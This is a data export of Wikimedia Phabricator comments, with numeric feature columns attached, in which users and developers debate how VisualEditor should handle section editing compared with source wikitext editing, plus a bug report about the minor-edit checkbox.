This could cause many editors, who already do not edit much, to edit less because their edits get reverted soon after using Visual Editor. VE messes up many things. I have seen it myself, and so I do not use VE. I have to check a WHOLE-PAGE preview diff for errors it inserts before I save some other minor thing I edited. Minor typos and other things that used to take me a few seconds to fix now take a long time with the Visual Editor. 

Visual Editor needs to edit SECTIONS, too. Not the whole page. So this fix is not a fix. Visual Editor still does not support section editing. It still only edits the whole page. 

Worst of all, what was once an interesting option has now become an imposed encumbrance. There is no way to edit in source mode now without effort. Registered editors are forced to use VE. They can only opt-out of VE section editing. They must go here: 
[[Special:Preferences#mw-prefsection-editing]]

Please return section editing of source wikitext as the default. Make this VE section editing gimmick the option in preferences. Make it opt-in, not opt-out. 

The WMF does not have anywhere near a consensus or approval or any other type of community process sanction that justifies imposing beta VE. Especially when it is as buggy and beta as it is now. VE was actually an interesting option until this latest forced imposition of beta VE."
223053,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #12)
> OK. Now that I finally get it, and see that everyone (logged in or not)
> currently gets source editing of sections, let us not remove section editing
> of source wikitext when VisualEditor is fully implemented! That would make many
> editors very unhappy.

Just to update on this point: as of today, we have switched over to the 'beta' behaviour for VisualEditor in a number of regards, including section edit links - i.e., default behaviour for users with VisualEditor (which will soon be all users) is that section edit links will take you into VisualEditor, scrolled to that section, with the cursor at the start of it.

For the mean time (until VisualEditor is out of beta, when it will be much less likely that users will want to use wikitext editor often), there's a user preference (defaulted to off) that will redirect these section edit links back to the wikitext editor; this is in Special:Preferences > Editing > Beta features.

I'm open to seeing if there's a way of giving people two section edit links without being confusing in the medium/long term, but that's a discussion for later. :-)",,,1371180404,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-3,,1.0,0.0,0.0,0.0,0.0,2.5,2.0,0.0,0.0,0.5,3.0,1.5,0.0,0.0,1.0,1.0,0.0,4.5,17.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.0,4.0,1.0,1.0,1.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,19.5,1.5,2.0,1.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,2.0,0.5,8.5,0.0,0.5,0.0,0.5,4.0,0.0,1.0,0.0,2.5,17.5,3.5,0.0,1.0,0.0,2.5,0.0,1.5,2.0,0.0,2.5,0.5,0.0,1.0,3.8415737428992216,0.6874079528718704,"(In reply to comment #12)
QUOTE
QUOTE
QUOTE
QUOTE

Just to update on this point: as of today, we have switched over to the 'beta' behaviour for VisualEditor in a number of regards, including section edit links - i.e., default behaviour for users with VisualEditor (which will soon be all users) is that section edit links will take you into VisualEditor, scrolled to that section, with the cursor at the start of it.

For the mean time (until VisualEditor is out of beta, when it will be much less likely that users will want to use wikitext editor often), there's a user preference (defaulted to off) that will redirect these section edit links back to the wikitext editor; this is in Special:Preferences > Editing > Beta features.

I'm open to seeing if there's a way of giving people two section edit links without being confusing in the medium/long term, but that's a discussion for later. :-)"
223048,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"OK. Now that I finally get it, and see that everyone (logged in or not) currently gets source editing of sections, let us not remove section editing of source wikitext when VisualEditor is fully implemented! That would make many editors  very unhappy. 

I sometimes like to open up a section in a new tab for editing. So I can switch between tabs to alternate between how the section currently looks, and how my preview looks. This also helps me in finding stuff in the wikitext. I can use browser find in both tabs to help me find where I need to edit. 

This can be very necessary when editing references, tables, navigation boxes, image captions, and other such wikitext. Images that are right-floating, for example, can be difficult to find in the wikitext otherwise.",,,1371076044,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,0.5,0.5,1.5,0.5,1.0,4.0,1.5,0.0,0.0,0.0,4.0,0.0,0.5,0.0,0.0,5.0,0.0,10.5,11.0,0.5,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,0.5,0.0,5.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,3.5,0.0,0.5,0.0,0.5,0.5,13.5,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.5,3.0,2.5,7.0,4.0,2.5,5.0,0.0,0.0,0.5,0.0,7.5,0.5,0.0,0.0,5.5,11.0,0.5,0.0,0.0,0.0,5.5,0.0,3.5,1.0,2.0,2.0,0.0,0.0,0.0,4.011867088607595,0.7166139240506328,"OK. Now that I finally get it, and see that everyone (logged in or not) currently gets source editing of sections, let us not remove section editing of source wikitext when VisualEditor is fully implemented! That would make many editors  very unhappy. 

I sometimes like to open up a section in a new tab for editing. So I can switch between tabs to alternate between how the section currently looks, and how my preview looks. This also helps me in finding stuff in the wikitext. I can use browser find in both tabs to help me find where I need to edit. 

This can be very necessary when editing references, tables, navigation boxes, image captions, and other such wikitext. Images that are right-floating, for example, can be difficult to find in the wikitext otherwise."
223045,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #10)
> OK. I see that section editing is currently enabled for anonymous users too
> on Wikipedia. I am almost always logged in, and so I must have been confused by
> the preference ""Enable section editing via [edit] links"".

That is in fact the preference, but it's checked by default (as well as always on for anons).",,,1371073574,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,18.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0789473684210527,0.8157894736842105,"(In reply to comment #10)
QUOTE
QUOTE
QUOTE

That is in fact the preference, but it's checked by default (as well as always on for anons)."
223042,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"OK. I see that section editing is currently enabled for anonymous users too on Wikipedia. I am almost always logged in, and so I must have been confused by the preference ""Enable section editing via [edit] links"". I see now that it is about the URLs. See 
[[Help:Section#Section_editing]].

I would hate to lose section editing of source wikitext if VisualEditor is enabled for section editing. That would be a serious step backwards for the reasons I and others have discussed.",,,1371073277,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,6.0,1.0,7.0,12.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,7.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,4.0,6.0,15.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,7.0,12.0,2.0,0.0,2.0,0.0,7.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,4.0,4.0,0.66,"OK. I see that section editing is currently enabled for anonymous users too on Wikipedia. I am almost always logged in, and so I must have been confused by the preference ""Enable section editing via [edit] links"". I see now that it is about the URLs. See 
[[Help:Section#Section_editing]].

I would hate to lose section editing of source wikitext if VisualEditor is enabled for section editing. That would be a serious step backwards for the reasons I and others have discussed."
223039,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #8)A section
> preview is much faster. I have been editing Wikipedia since 2005, and at one
> point I had forgotten that section editing is not a given for all editors. We
> are wasting a lot of editors time by not enabling it by default.

Wikitext section editing is enabled by default.",,,1371073015,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.869565217391304,0.782608695652174,"(In reply to comment #8)A section
QUOTE
QUOTE
QUOTE

Wikitext section editing is enabled by default."
223036,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"See discussion here:
[[Wikipedia:VisualEditor/Feedback]] and go to the section titled ""VisualEditor not enabled for section editing"". That talk section will end up in the archives eventually. Do an archive search then. 

Load time will still be an important factor with VisualEditor. That reason alone justifies continuing with section editing. 

If VisualEditor is enabled for section editing, then it will also be necessary to enable ""edit source"" somehow for sections too. So people can choose between the two. Just like at the top of page. If the developers are worried about cluttering up each section with both ""edit"" and ""edit source"" links, then there needs to be some icon next to ""edit"" that will be the link for ""edit source"". The clickable icon will have a popup tooltip saying ""edit source"".

I use section editing for almost all my editing, whether in short or long articles. Do you have section editing enabled? If not, you might try it. It speeds up editing immensely for me, and many others. See: 
[[Special:Preferences#mw-prefsection-editing]] and ""Enable section editing via [edit] links"". It would be better if it were enabled by default for all editors, whether logged in, or not. 

Many people will still use wikitext source editing. There will long be a need until every single bug is fixed in VisualEditor. I can tell you this from years of experience with the Wikia visual editor. Many, if not most, regular editors on Wikia avoid it due to its continuing bugginess. 

When using source editing I don't know why anybody would want to wade through paragraphs of irrelevant stuff to get to the paragraph and section one is interested in editing. Especially if you make multiple edits, and use multiple previews. Why wait long periods of time for full-page previews? A section preview is much faster. I have been editing Wikipedia since 2005, and at one point I had forgotten that section editing is not a given for all editors. We are wasting a lot of editors time by not enabling it by default. Since there are fewer and fewer editors we need to make their editing more and more efficient.

Anonymous editors do much of the editing on Wikipedia, and many will prefer to edit the source wikitext for all the reasons previously discussed. Many anonymous editors are experienced Wikipedia editors, and will not tolerate having to only use VisualEditor. So never get rid of the option for source editing. Let me repeat: WIKIA, WIKIA, WIKIA. Bugs are seemingly never-ending and ever-growing with visual editors.",,,1371065466,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,2.5,0.16666666666666666,0.0,0.6666666666666666,1.3333333333333333,5.5,1.5,0.0,0.0,1.0,0.8333333333333334,0.16666666666666666,0.0,0.3333333333333333,0.5,1.6666666666666667,0.5,6.666666666666667,11.5,0.16666666666666666,1.3333333333333333,0.0,0.3333333333333333,0.0,0.8333333333333334,0.3333333333333333,0.0,0.0,0.5,1.8333333333333333,1.0,3.6666666666666665,1.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,0.3333333333333333,2.8333333333333335,0.16666666666666666,1.0,0.0,0.0,0.16666666666666666,13.166666666666666,0.16666666666666666,0.5,0.16666666666666666,0.8333333333333334,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.16666666666666666,1.0,0.16666666666666666,0.0,0.0,0.0,0.16666666666666666,3.5,3.0,9.166666666666666,2.3333333333333335,2.5,5.333333333333333,0.0,0.0,0.0,0.0,5.666666666666667,0.0,0.6666666666666666,0.0,3.8333333333333335,11.5,2.8333333333333335,0.3333333333333333,2.6666666666666665,0.0,3.8333333333333335,0.0,0.6666666666666666,1.1666666666666667,0.3333333333333333,3.1666666666666665,1.0,0.16666666666666666,1.0,4.058295464670766,0.6870489174017642,"See discussion here:
[[Wikipedia:VisualEditor/Feedback]] and go to the section titled ""VisualEditor not enabled for section editing"". That talk section will end up in the archives eventually. Do an archive search then. 

Load time will still be an important factor with VisualEditor. That reason alone justifies continuing with section editing. 

If VisualEditor is enabled for section editing, then it will also be necessary to enable ""edit source"" somehow for sections too. So people can choose between the two. Just like at the top of page. If the developers are worried about cluttering up each section with both ""edit"" and ""edit source"" links, then there needs to be some icon next to ""edit"" that will be the link for ""edit source"". The clickable icon will have a popup tooltip saying ""edit source"".

I use section editing for almost all my editing, whether in short or long articles. Do you have section editing enabled? If not, you might try it. It speeds up editing immensely for me, and many others. See: 
[[Special:Preferences#mw-prefsection-editing]] and ""Enable section editing via [edit] links"". It would be better if it were enabled by default for all editors, whether logged in, or not. 

Many people will still use wikitext source editing. There will long be a need until every single bug is fixed in VisualEditor. I can tell you this from years of experience with the Wikia visual editor. Many, if not most, regular editors on Wikia avoid it due to its continuing bugginess. 

When using source editing I don't know why anybody would want to wade through paragraphs of irrelevant stuff to get to the paragraph and section one is interested in editing. Especially if you make multiple edits, and use multiple previews. Why wait long periods of time for full-page previews? A section preview is much faster. I have been editing Wikipedia since 2005, and at one point I had forgotten that section editing is not a given for all editors. We are wasting a lot of editors time by not enabling it by default. Since there are fewer and fewer editors we need to make their editing more and more efficient.

Anonymous editors do much of the editing on Wikipedia, and many will prefer to edit the source wikitext for all the reasons previously discussed. Many anonymous editors are experienced Wikipedia editors, and will not tolerate having to only use VisualEditor. So never get rid of the option for source editing. Let me repeat: WIKIA, WIKIA, WIKIA. Bugs are seemingly never-ending and ever-growing with visual editors."
223034,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #6)
> One of the things I'm pondering is if we should relabel the edit section
> links to have two links, one to VE and the other to wikitext. Possibly ""[_edit_
> _*_]"" or somesuch.

I think that might be too much clutter when VE rolls out to everyone.  But while it's opt-in, it will definitely encourage me to test it, since I use the edit section link a lot.",,,1369114201,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,1,True,,,-6,,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,2.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,9.0,2.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.0,2.0,14.0,5.0,2.0,5.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,10.0,14.0,3.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,3.1724137931034484,0.8103448275862069,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE

I think that might be too much clutter when VE rolls out to everyone.  But while it's opt-in, it will definitely encourage me to test it, since I use the edit section link a lot."
223032,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #5)
> Err, whoops. Sorry, yeah, completely missed that paragraph.

:-)

> If the default editor behavior is a switch that controls parts of the
> interface like this (I didn't realize that), is this testable now anywhere?
> A Labs wiki or something?

No; we should do that.

One of the things I'm pondering is if we should relabel the edit section links to have two links, one to VE and the other to wikitext. Possibly ""[_edit_ _*_]"" or somesuch.",,,1368980861,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,10.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,14.0,1.0,3.0,6.0,0.0,1.0,0.0,1.0,7.0,0.0,6.0,0.0,4.0,10.0,3.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,2.9859154929577465,0.676056338028169,"(In reply to comment #5)
QUOTE

:-)

QUOTE
QUOTE
QUOTE

No; we should do that.

One of the things I'm pondering is if we should relabel the edit section links to have two links, one to VE and the other to wikitext. Possibly ""[_edit_ _*_]"" or somesuch."
223030,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #4)
> I mentioned it too, you know :-) - see:
> 
> (In reply to comment #2)
> | The behaviour in VisualEditor when running as the default editor is for the
> | edit section links to take you into VE for the entire page, with the view
> | moved down to the anchor of that section (note, this is not how it appears
> | right now on the various Wikipedias, but will be once they have the 'beta'
> | enabled).

Err, whoops. Sorry, yeah, completely missed that paragraph.

If the default editor behavior is a switch that controls parts of the interface like this (I didn't realize that), is this testable now anywhere? A Labs wiki or something?",,,1368848488,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,1,False,,,-7,,0.0,1.0,1.0,0.0,1.0,1.0,3.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,7.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,15.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,5.0,3.0,20.0,1.0,1.0,11.0,0.0,0.0,0.0,1.0,3.0,3.0,1.0,0.0,1.0,7.0,12.0,3.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.546666666666667,0.64,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Err, whoops. Sorry, yeah, completely missed that paragraph.

If the default editor behavior is a switch that controls parts of the interface like this (I didn't realize that), is this testable now anywhere? A Labs wiki or something?"
223026,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #3)
> Krinkle briefly mentioned an idea where section edit links might load the
> full VisualEditor form and then jump down to the specific section. This might
> be an approach to consider.

I mentioned it too, you know :-) - see:

(In reply to comment #2)
| The behaviour in VisualEditor when running as the default editor is for the
| edit section links to take you into VE for the entire page, with the view
| moved down to the anchor of that section (note, this is not how it appears
| right now on the various Wikipedias, but will be once they have the 'beta'
| enabled).",,,1368825534,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,1.0,2.0,1.5,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.5,0.0,6.0,11.5,0.0,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,3.5,2.0,1.5,2.5,1.5,1.0,0.0,0.0,1.0,0.0,1.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,11.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,6.0,2.5,6.0,2.5,1.0,8.0,0.0,0.5,0.0,1.0,3.5,0.0,1.0,0.0,4.0,11.5,3.0,0.0,2.0,0.0,4.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,3.1983766233766233,0.7482142857142857,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

I mentioned it too, you know :-) - see:

(In reply to comment #2)
| The behaviour in VisualEditor when running as the default editor is for the
| edit section links to take you into VE for the entire page, with the view
| moved down to the anchor of that section (note, this is not how it appears
| right now on the various Wikipedias, but will be once they have the 'beta'
| enabled)."
223020,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"There must be a recognition that editing large articles is burdensome and that section editing has (had) _enormous_ value.

Even with JavaScript disabled, the parser continues to take a significant amount of time to parse a large article. And while modern browsers on modern hardware don't have as many issues, rendering large articles can also be taxing.

VisualEditor adds to this burden by piling on a lot of JavaScript. The idea that wanting to edit only a section of [[GE]] or [[Iraq War]] stems from wanting to skip past confusing wikitext or avoid edit conflicts misses the point, I think. Though I realize that VisualEditor uproots many principles of the current editing workflow/paradigm.

Krinkle briefly mentioned an idea where section edit links might load the full VisualEditor form and then jump down to the specific section. This might be an approach to consider.",,,1368825331,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,1,False,,,-7,,1.0,0.0,0.0,0.0,0.5,7.5,1.5,0.0,0.5,0.0,0.5,0.5,0.0,0.5,0.5,1.0,0.0,4.5,12.5,0.0,2.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,5.5,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,1.0,0.5,15.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,7.0,2.0,9.5,3.5,2.5,8.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,1.0,12.5,5.0,0.0,0.0,0.0,1.0,0.0,0.5,3.5,0.0,3.0,0.0,0.0,3.5,4.296511627906977,0.7267441860465116,"There must be a recognition that editing large articles is burdensome and that section editing has (had) _enormous_ value.

Even with JavaScript disabled, the parser continues to take a significant amount of time to parse a large article. And while modern browsers on modern hardware don't have as many issues, rendering large articles can also be taxing.

VisualEditor adds to this burden by piling on a lot of JavaScript. The idea that wanting to edit only a section of [[GE]] or [[Iraq War]] stems from wanting to skip past confusing wikitext or avoid edit conflicts misses the point, I think. Though I realize that VisualEditor uproots many principles of the current editing workflow/paradigm.

Krinkle briefly mentioned an idea where section edit links might load the full VisualEditor form and then jump down to the specific section. This might be an approach to consider."
223014,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #0)
> I don't seem to be able to section edit with VisualEditor.

There are three issues here:
* To edit a section, we would need to get its HTML from Parsoid - but a section isn't guaranteed to be balanced HTML, for example (commonly-used):

{|
! Foo !! Bar
|-
=== Section 1 ===
|-
| Foo || bar
=== Section 2 ===
|-
| Foo || bar
|}

Coming up with a solution to this is would be a significant piece of engineering effort for marginal utility.

* The reasons we brought in section-editing originally were two-fold - to skip past confusing wikitext in other areas to find the item you actually wanted to edit (not an issue in the context of VisualEditor), and to avoid edit conflicts using the page-based diffs at the time (not an issue for ~ 7 years since Tim re-wrote the diff tool).

* Editing by section blocks users from editing other areas at the same time that the notice flaws in after they've entered editing, for very limited added-value.


The behaviour in VisualEditor when running as the default editor is for the edit section links to take you into VE for the entire page, with the view moved down to the anchor of that section (note, this is not how it appears right now on the various Wikipedias, but will be once they have the 'beta' enabled).

I'm not convinced that this is a WONTFIX, but I'm similarly not convinced that we should spend our time fixing this rather than, say, making VisualEditor and Parsoid work on Wikisource, or other things we could be doing with our limited resources.",,,1368814282,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.25,0.5,1.5,3.5,1.0,0.0,0.0,0.0,2.0,1.75,0.0,0.0,0.25,2.25,0.25,5.25,11.75,0.0,2.25,0.25,0.25,0.0,1.75,0.25,0.0,0.0,0.25,0.75,0.5,3.5,1.0,0.5,1.5,0.5,0.25,0.0,0.5,0.25,0.0,0.5,0.75,2.5,0.0,0.0,0.25,0.0,0.0,17.25,0.75,0.75,0.0,0.0,0.0,0.0,0.25,0.0,0.25,0.0,0.25,0.5,0.0,0.25,0.25,0.0,0.0,6.0,3.0,7.25,1.75,1.75,7.25,0.0,0.0,0.75,0.25,4.0,0.25,1.5,0.0,3.75,11.75,3.5,0.0,0.5,0.0,3.75,0.0,0.75,1.75,0.0,2.0,0.0,0.0,0.0,3.547480620155039,0.7336273723603315,"(In reply to comment #0)
QUOTE

There are three issues here:
* To edit a section, we would need to get its HTML from Parsoid - but a section isn't guaranteed to be balanced HTML, for example (commonly-used):

{|
! Foo !! Bar
|-
=== Section 1 ===
|-
| Foo || bar
=== Section 2 ===
|-
| Foo || bar
|}

Coming up with a solution to this is would be a significant piece of engineering effort for marginal utility.

* The reasons we brought in section-editing originally were two-fold - to skip past confusing wikitext in other areas to find the item you actually wanted to edit (not an issue in the context of VisualEditor), and to avoid edit conflicts using the page-based diffs at the time (not an issue for ~ 7 years since Tim re-wrote the diff tool).

* Editing by section blocks users from editing other areas at the same time that the notice flaws in after they've entered editing, for very limited added-value.


The behaviour in VisualEditor when running as the default editor is for the edit section links to take you into VE for the entire page, with the view moved down to the anchor of that section (note, this is not how it appears right now on the various Wikipedias, but will be once they have the 'beta' enabled).

I'm not convinced that this is a WONTFIX, but I'm similarly not convinced that we should spend our time fixing this rather than, say, making VisualEditor and Parsoid work on Wikisource, or other things we could be doing with our limited resources."
223007,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Thoughts:

It strikes me that this might not be overly difficult - if VE is just using H<n> elements to represent sections anyway, then it should be relatively simple to change the edit URL to ""javascript:"", and add some JavaScript events to them that call the VE setup and, once it's done, brings the specified section to the top of the user's screen.

I won't mark this as easy, because I don't think it is. I wish we had an ""intermediate"" keyword.",,,1368812060,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,1,True,,,-7,,0.5,0.0,0.0,0.0,2.5,3.0,1.0,1.0,0.0,0.5,1.0,2.0,0.0,0.0,0.0,4.5,0.0,5.0,8.0,0.0,1.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,7.0,1.0,3.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,7.5,1.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,5.5,2.5,7.0,3.0,2.0,7.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,8.0,8.0,2.5,0.0,3.0,0.0,8.0,0.0,1.0,1.0,1.0,0.5,0.0,0.0,1.0,3.53011611030479,0.8089622641509434,"Thoughts:

It strikes me that this might not be overly difficult - if VE is just using H<n> elements to represent sections anyway, then it should be relatively simple to change the edit URL to ""javascript:"", and add some JavaScript events to them that call the VE setup and, once it's done, brings the specified section to the top of the user's screen.

I won't mark this as easy, because I don't think it is. I wish we had an ""intermediate"" keyword."
50347,"VisualEditor: ""This is a minor edit"" is not auto checked in save dialog if the ""minordefault"" preference is on","How to reproduce:

1. Enable the ""Mark all edits minor by default"" option in the preferences.
2. Edit a page in the VisualEditor.
3. Press ""Review and save"", then ""Looks good to me"".
4. The edit summary entering bubble appears.

Observed:

* The ""This is a minor edit"" box is not checked.

Expected:

* The ""This is a minor edit"" box is checked.

Comment: The saved revision IS correctly marked as minor. It's just the check box that appears incorrectly.

GWT scenario for Cucumber:
Given that I am editing an article while the minordefault preference is on
When I am saving the article
Then the ""This is a minor edit"" box is checked

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1368250560,1368638598.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-lxnhaohtjgjw5zamlish,task_description,resolved,True,c1,1,False,False,True,-8,,0.5,0.0,0.0,2.0,0.5,4.5,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,4.5,5.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,8.0,3.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,0.0,11.5,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,8.5,5.5,15.5,2.0,0.5,10.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,2.0,5.5,2.5,0.0,6.0,0.0,2.0,0.0,1.5,2.5,0.5,1.5,0.0,0.0,2.5,3.4652560083594564,0.5771943573667712,"How to reproduce:

1. Enable the ""Mark all edits minor by default"" option in the preferences.
2. Edit a page in the VisualEditor.
3. Press ""Review and save"", then ""Looks good to me"".
4. The edit summary entering bubble appears.

Observed:

* The ""This is a minor edit"" box is not checked.

Expected:

* The ""This is a minor edit"" box is checked.

Comment: The saved revision IS correctly marked as minor. It's just the check box that appears incorrectly.

GWT scenario for Cucumber:
Given that I am editing an article while the minordefault preference is on
When I am saving the article
Then the ""This is a minor edit"" box is checked

--------------------------
**Version**: unspecified
**Severity**: normal"
